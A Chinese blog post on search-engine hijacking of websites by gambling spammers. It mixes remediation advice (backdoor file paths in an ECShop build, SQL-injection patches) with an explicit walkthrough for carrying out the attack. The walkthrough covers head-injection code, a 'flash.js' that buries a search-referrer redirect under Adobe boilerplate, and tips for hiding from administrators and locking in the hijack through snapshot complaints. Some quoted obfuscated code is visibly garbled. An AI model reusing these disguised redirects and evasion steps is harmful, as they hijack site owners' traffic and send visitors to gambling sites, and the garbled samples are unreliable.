本博主要为被中招的同学提供点建议和思路,其中包含进攻和反进攻的具体方法,请勿非法使用,使用了别说在本博上学到的,博主不背这个锅!

 

1、木马表现:

1、网站TDK被篡改为博彩站标题,关键词,描述;

2、网站快照被劫持

3、部分源码丢失

 

2、实例说明:

title(标题),keywords(关键词)与description(描述)都被进行编码的

被篡改后的TDK 和 加密js代码

 

3、被编码后篡改TDK:

为了防止所加的内容被管理员发现清除,为了劫持的稳定性,title(标题),keywords(关键词)与description(描述)都进行了编码,标题后面一段加密js代码:

<script>if(if(navigator.userAgent.toLocaleLowerowerCase().indexOf("baidu") == -1){1){document.title ="幼 ="幼儿园家具_幼儿园桌椅批发_儿童小床_XXXXXXX有限公司"}</script>  
 <script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?35?String.fromCharCode(ode(c+29):9):c.toString(36)(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=)p=p.replace(new(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('m["\\e\\c\\1\\l\\i\\8\\n\\0"]["\\7\\4\\9\\0\\8"](\'\\g\\2\\1\\4\\9\\3\\0 \\0\\k\\3\\8\\d\\6\\0\\8\\r\\0\\5\\f\\a\\s\\a\\2\\1\\4\\9\\3\\0\\6 \\2\\4\\1\\d\\6\\o\\0\\0\\3\\2\\p\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\j\\b\\1\\c\\i\\5\\q\\j\\b\\f\\2\\6\\h\\g\\5\\2\\1\\4\\9\\3\\0\\h\');',29,29,'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3c|x3e|x6d|x38|x79|x75|window|x6e|x68|x3a|x6b|x78|x76'.split('|'),0,{}))  
 </script>  

感兴趣的同学可以进行解密一下

4、还有一种非编码篡改TDK:

非编码篡改的网站标题,描述

 

后来博主了解到这种编码是Unicode,Unicode在线转换:http://tool.oschina.net/encode 。但是在快照投诉,快照更新没有不编码更新的快。


博主顺道检查了一下手机端,发现手机端自动跳转到博彩站,并返现以下代码:

<script LANGUAGE=\"Javascript\">
var s=document.referrer
if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )
location.href=\"https://www.liulinblog.com\";
</script>

这段代码的作用是判断来路,如果是从搜索引擎进的本站,会自动跳转到指定链接。

 

会造成什么SEO后果?

 

5、快照劫持

快照劫持是指在快照投诉以后,快照更新成功。目标网站上了自己指定的标题,关键词与描述,就算管理员已经发现网站被加入了这些代码,删除之后,从百度进入依然会跳转到指定站,这保证了劫持了稳定性。

网站挂马事隔两天后,当我们去看网站源代码时候,已经没有留下任何黑帽SEO代码,危险代码均被删除,但从百度访问依旧会跳转到目标站点。从而保证了流量进入目标站点的稳定性,这个就是快照劫持。

如何解决?

快照投诉 http://tousu.baidu.com/webmaster/add

6、全站劫持

所谓的全站劫持,就是让目标站点所有文章都加入黑帽SEO代码,这个要靠经验,笔者曾经在一个朋友曾经开的Discuz站被全站劫持过,site之后所有内容都是菠菜相关的,笔者发现source/class/class_core.php中被加入黑帽SEO代码,而所有文章查看源代码均发现有黑帽seo代码,这个class_core.php文件控制全站的头部,所以整站被劫持了。黑帽seo主要靠经验,方法都是死的。

7、完整的黑帽SEO流程

博主推导出过程后,开始尝试,首先为了隐藏,选择从外部引入js代码,因为在导入js文件到某个文件夹的时候,文件夹会显示最近更新时间,会被管理员发现。可以随便选择一个稳定的空间做外链,例如阿里云Eos,七牛云等等。

在站点head标题中插入以下黑帽seo引擎劫持代码

<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="目标站的标题"}</script>  //目标站原本的标题,直接输入网址进入网站标题才不会变,也是为了隐藏
<title>你要做的标题</title>
<meta name="keywords" content="你要做的词"/>
<meta name="description" content="你要做的描述"/>
<script language="javascript" type="text/javascript" src="/这边是你的跳转代码/flash.js" ></script>  //SEO跳转代码

为了防止被管理员发现,标题,关键词与描述最好用Unicode编码一下,Unicode在线转换:http://tool.oschina.net/encode  关键词之间用逗号隔开。

博主为了更好的隐藏,对跳转代码进行了加工,命名为flash.js

<!--
//v1.7
// Flash Player Version Detection
// Detect Client Browser type
// Copyright 2005-2008 Adobe Systems Incorporated. All rights reserved.
var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;
function ControlVersion()
{
var version;
	var axo;
	var e;
	// NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry
	try {
		// version will be set for 7.X or greater players
		axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
		version = axo.GetVariable("$version");
	} catch (e) {
	}
	if (!version)
	{
		try {
			// version will be set for 6.X players only
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
			
			// installed player is some revision of 6.0
			// GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
			// so we have to be careful. 
			
			// default to the first public version
			version = "WIN 6,0,21,0";
			// throws if AllowScripAccess does not exist (introduced in 6.0r47)		
			axo.AllowScriptAccess = "always";
			// safe to call for 6.0r47 or greater
			version = axo.GetVariable("$version");
		} catch (e) {
		}
	}
	if (!version)
	{
		try {
			// version will be set for 4.X or 5.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = axo.GetVariable("$version");
		} catch (e) {
		}
	}
	if (!version)
	{
		try {
			// version will be set for 3.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = "WIN 3,0,18,0";
		} catch (e) {
		}
	}
	if (!version)
	{
		try {
			// version will be set for 2.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
			version = "WIN 2,0,0,11";
		} catch (e) {
			version = -1;
		}
	}
	
	return version;
}
// JavaScript helper required to detect Flash Player PlugIn version information
function GetSwfVer(){
	// NS/Opera version >= 3 check for Flash plugin in plugin array
	var flashVer = -1;
	
	if (navigator.plugins != null && navigator.plugins.length > 0) {
		if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
			var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
			var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
			var descArray = flashDescription.split(" ");
			var tempArrayMajor = descArray[2].split(".");			
			var versionMajor = tempArrayMajor[0];
			var versionMinor = tempArrayMajor[1];
			var versionRevision = descArray[3];
			if (versionRevision == "") {
				versionRevision = descArray[4];
			}
			if (versionRevision[0] == "d") {
				versionRevision = versionRevision.substring(1);
			} else if (versionRevision[0] == "r") {
				versionRevision = versionRevision.substring(1);
				if (versionRevision.indexOf("d") > 0) {
					versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
				}
			}
			var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
		}
	}
	// MSN/WebTV 2.6 supports Flash 4
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
	// WebTV 2.5 supports Flash 3
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
	// older WebTV supports Flash 2
	else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
	else if ( isIE && isWin && !isOpera ) {
		flashVer = ControlVersion();
	}	
	return flashVer;
}
// When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision)
{
	versionStr = GetSwfVer();
	if (versionStr == -1 ) {
		return false;
	} else if (versionStr != 0) {
		if(isIE && isWin && !isOpera) {
			// Given "WIN 2,0,0,11"
			tempArray         = versionStr.split(" "); 	// ["WIN", "2,0,0,11"]
			tempString        = tempArray[1];			// "2,0,0,11"
			versionArray      = tempString.split(",");	// ['2', '0', '0', '11']
		} else {
			versionArray      = versionStr.split(".");
		}
		var versionMajor      = versionArray[0];
		var versionMinor      = versionArray[1];
		var versionRevision   = versionArray[2];
        	// is the major.revision >= requested major.revision AND the minor version >= requested minor
		if (versionMajor > parseFloat(reqMajorVer)) {
			return true;
		} else if (versionMajor == parseFloat(reqMajorVer)) {
			if (versionMinor > parseFloat(reqMinorVer))
				return true;
			else if (versionMinor == parseFloat(reqMinorVer)) {
				if (versionRevision >= parseFloat(reqRevision))
					return true;
			}
		}
		return false;
	}
}
function AC_AddExtension(src, ext)
{
  if (src.indexOf('?') != -1)
    return src.replace(/\?/, ext+'?'); 
  else
    return src + ext;
}
function AC_Generateobj(objAttrs, params, embedAttrs) 
{ 
  var str = '';
  if (isIE && isWin && !isOpera)
  {
    str += '<object '; for (var i in objAttrs) { str += i + '="' + objAttrs[i] + '" '; } str += '>';    for (var i in params)    {      str += ' ';    }    str += '';
  }
  else
  {
    str += '<embed '; for (var i in embedAttrs) { str += i + '="' + embedAttrs[i] + '" '; } str += '> ';
  }
  document.write(str);
}
function AC_FL_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
     , "application/x-shockwave-flash"
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}
function AC_SW_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000"
     , null
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}
function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
  var ret = new Object();
  ret.embedAttrs = new Object();
  ret.params = new Object();
  ret.objAttrs = new Object();
  for (var i=0; i < args.length; i=i+2){
    var currArg = args[i].toLowerCase();    
    switch (currArg){	
      case "classid":
        break;
      case "pluginspage":
        ret.embedAttrs[args[i]] = args[i+1];
        break;
      case "src":
      case "movie":	
        args[i+1] = AC_AddExtension(args[i+1], ext);
        ret.embedAttrs["src"] = args[i+1];
        ret.params[srcParamName] = args[i+1];
        break;
      case "onafterupdate":
      case "onbeforeupdate":
      case "onblur":
      case "oncellchange":
      case "onclick":
      case "ondblclick":
      case "ondrag":
      case "ondragend":
      case "ondragenter":
      case "ondragleave":
      case "ondragover":
      case "ondrop":
      case "onfinish":
      case "onfocus":
      case "onhelp":
      case "onmousedown":
      case "onmouseup":
      case "onmouseover":
      case "onmousemove":
      case "onmouseout":
      case "onkeypress":
      case "onkeydown":
      case "onkeyup":
      case "onload":
      case "onlosecapture":
      case "onpropertychange":
      case "onreadystatechange":
      case "onrowsdelete":
      case "onrowenter":
      case "onrowexit":
      case "onrowsinserted":
      case "onstart":
      case "onscroll":
      case "onbeforeeditfocus":
      case "onactivate":
      case "onbeforedeactivate":
      case "ondeactivate":
      case "type":
      case "codebase":
      case "id":
        ret.objAttrs[args[i]] = args[i+1];
        break;
      case "width":
      case "height":
      case "align":
      case "vspace": 
      case "hspace":
      case "class":
      case "title":
      case "accesskey":
      case "name":
      case "tabindex":
        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
        break;
      default:
        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
    }
  }
  ret.objAttrs["classid"] = classid;
  if (mimeType) ret.embedAttrs["type"] = mimeType;
  return ret;
}
// --> var ref=document.referrer;
var baidu=ref.indexOf("baidu");
var soso=ref.indexOf("soso");
var google=ref.indexOf("google");
var sogou=ref.indexOf("sogou");
var s360=ref.indexOf("360.cn");
var s3602=ref.indexOf("so.com");
var sbing=ref.indexOf("bing.cn");
if(baidu!=-1 || soso!=-1 || google!=-1 || sogou!=-1 || s360!=-1 || s3602!=-1 || sbing!=-1){

 this_url = 'https://www.liulinblog.com';
  window.top.location.replace(this_url);
  window.location.href=this_url;
} 

前面的很长一大段人畜无害的代码没有任何卵用,只要用来混淆视线。最后的几段才是seo代码。把链接改成要跳转的站就行。

接着提交百度快照投诉,百度快照投诉入口进行快照投诉:http://tousu.baidu.com/webmaster/add

随后就是耐心的等待。

如何根除和清理此类木马?

我们先分析一下黑客行为:

标题,关键词,描述被Unicode编码更容易隐藏,但是快照投诉后更新会很慢。

跳转代码不直接写在一个页面里,也不导入到站点文件夹(文件夹最近更新时间会泄露你的文件位置)。跳转代码的js文件外联引用>>>>不容易被发现

site一下自己的网站,看看是否被全站劫持


好吧,我们来解决一下这个站(https://www.sdhoupu.com)的木马问题,博主是用的一套 ecshop小京东源码,二次开发的一个站点,经博主连夜分析结果如下:

ECSHOP 小京东源码后门文件

 

/supplier/includes/exchange.php

 

ecshop小京东后门文件(一)

/mobile/lequ.php

ecshop小京东后门文件(二)

/mobile/lian.php

ecshop小京东后门文件

/mobile/cm.php

ecshop小京东后门文件(4)

/mobile/admin/images/charts/comon.php

ecshop小京东后门文件(5)

/js/calendar/calendar.php

ecshop小京东后门文件(6)

/errpage/css/style.php

ecshop小京东后门文件(8)

/app/includes/modules/payment/key/public_key.php

ecshop小京东后门文件(9)

/admin_sdhoupu/alipay.php

ecshop小京东后门文件

/ueditor/php/upload/image/20171118/1510983269553259.php

ecshop小京东后门文件

/lian.php

ecshop小京东后门文件

/languages/zh_cn/calendar.php

ecshop小京东后门文件

 

 


以上为总结和检测出来的后门文件,删除清理即可!

删除清理后,迅速为网站打补丁《ecshop中毒怎么办?以下补丁你打了吗?关于ecshop中sql注入漏洞修复》,网站安全无小事,否则可能造成你前期一起工作前功尽弃

服务器内部您可以参考西部数码:http://faq.myhostadmin.net/faq/listagent.asp?unid=2093 安装云锁进行防护

先这么着把!回家睡觉了….

ECshop小京东 – 阿里云盾提示ECshop高危漏洞修复(2017-08-11)-木木资源博

mikel阅读(946)

来源: ECshop小京东 – 阿里云盾提示ECshop高危漏洞修复(2017-08-11)-木木资源博

1.ecshop后台SQL注入漏洞 /admin/comment_manage.php 336-337行

    $filter['sort_by']      = empty($_REQUEST['sort_by']) ? 'add_time' : trim($_REQUEST['sort_by']);
    $filter['sort_order']   = empty($_REQUEST['sort_order']) ? 'DESC' : trim($_REQUEST['sort_order']);

修改为

$filter['sort_by']      = empty($_REQUEST['sort_by']) ? 'add_time' : trim(htmlspecialchars($_REQUEST['sort_by']));
    $filter['sort_order']   = empty($_REQUEST['sort_order']) ? 'DESC' : trim(htmlspecialchars($_REQUEST['sort_order']));

2.ecshop代码注入漏洞 /admin/edit_languages.php 120行

$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';

修改为:

$dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';

3.ecshop后台getshell /admin/integrate.php 109行

$code = empty($_GET['code']) ? '' : trim($_GET['code']);

修改为

$code = empty($_GET['code']) ? '' : trim(addslashes($_GET['code']));

 

4.ecshop SQL注入漏洞 /admin/affiliate_ck.php
a./admin/affiliate_ck.php 282行
b./mobile/admin/affiliate_ck.php 307行

$sqladd = ' AND a.user_id=' . $_GET['auid'];

改为

$sqladd = ' AND a.user_id=' . intval($_GET['auid']);

5.ecshop注入漏洞 /includes/modules/payment/alipay.php
a./includes/modules/payment/alipay.php 183行
b./mobile/includes/modules/payment/alipay.php 216行
c./app/includes/modules/payment/alipay.php 173行

$order_sn = trim($order_sn);

改为

$order_sn = trim(addslashes($order_sn));

6.ecshop SQL注入漏洞 /admin/shopinfo.php
a./admin/shopinfo.php
b./mobile/admin/shopinfo.php
c.53、71、105、123行,4个地方修复方式都一样

admin_priv('shopinfo_manage');

改为

admin_priv('shopinfo_manage');
$_REQUEST['id'] = intval($_REQUEST['id']);

7.ecshop注入漏洞 /api/client/includes/lib_api.php
a./api/client/includes/lib_api.php 245行
b./mobile/api/client/includes/lib_api.php 246行

function API_UserLogin($post)
    {
        if (get_magic_quotes_gpc()) {
            $post['UserId'] = $post['UserId'];
        }else{
            $post['UserId'] = addslashes($post['UserId']);
        }
        $post['username'] = isset($post['UserId']) ? trim($post['UserId']) : '';
        $post['password'] = isset($post['Password']) ? strtolower(trim($post['Password'])) : '';

        /[i] 检查密码是否正确 [/i]/
        $sql = "SELECT user_id, user_name, password, action_list, last_login".
        " FROM " . $GLOBALS['ecs']->table('admin_user') .
        " WHERE user_name = '" . htmlspecialchars($post['username']). "'";

        $row = $GLOBALS['db']->getRow($sql);
if (get_magic_quotes_gpc()) {
    $post['UserId'] = $post['UserId'];
}else{
    $post['UserId'] = addslashes($post['UserId']);
}
" WHERE user_name = '" . htmlspecialchars($post['username']). "'";

8.ecshop SQL注入漏洞 /admin/shophelp.php
a./admin/shophelp.php
b./mobile/admin/shophelp.php
c.81、105、133、155行,4个地方修复方式都一样

admin_priv('shopinfo_manage');

改为

admin_priv('shopinfo_manage');
$_REQUEST['id'] = intval($_REQUEST['id']);

9.ecshop注入漏洞 /category.php 65行

$brand = isset($_REQUEST['brand']) && $_REQUEST['brand'] > 0 ? $_REQUEST['brand'] : 0;

改为

$brand = isset($_REQUEST['brand']) && intval($_REQUEST['brand']) > 0 ? intval($_REQUEST['brand']) : 0;

10.ecshop SQL注入漏洞导致代码执行

$arr['id'] = intval($arr['id']);
$arr['num'] = intval($arr['num']);
$arr['type'] = addslashes($arr['type']);